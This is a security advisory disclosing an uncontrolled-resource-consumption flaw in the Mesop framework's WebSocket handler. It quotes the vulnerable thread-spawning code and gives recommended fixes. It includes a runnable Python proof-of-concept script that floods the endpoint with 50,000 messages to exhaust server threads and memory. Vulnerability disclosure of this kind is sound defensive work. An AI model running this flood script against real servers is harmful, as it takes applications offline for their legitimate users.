GHSA-3jr7-6hqp-x679

Summary

An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.

Details

The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.

There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.

Vulnerable code snippet in mesop/server/server.py:

while True:
    message = ws.receive()
    if not message:
        continue
    # ... message parsing logic ...

    # VULNERABILITY: Spawning a new thread for every single message without limits
    thread = threading.Thread(
        target=copy_current_request_context(ws_generate_data),
        args=(ws, ui_request),
        daemon=True,
    )
    thread.start()

PoC

To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.

Prerequisites:

Python environment with the websocket-client library installed (pip install websocket-client).

A target Mesop application running locally (e.g., http://localhost:8080).

Steps to reproduce:

Start the target Mesop application.

Save the following script as exploit_dos.py.

Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.

import websocket
import base64

# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"

# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` 
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')

def flood_server():
    ws = websocket.WebSocket()
    try:
        ws.connect(TARGET_WS_URL)
        print("[+] Connection established. Initiating thread exhaustion attack...")
        
        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads
        for i in range(50000):
            ws.send(EMPTY_UI_REQUEST_B64)
            
        print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
        ws.close()
    except Exception as e:
        print(f"[-] Connection closed or server crashed: {e}")

if __name__ == "__main__":
    flood_server()

Impact

Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.

Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.

Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.

Mitigation (Recommended Fixes):

Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads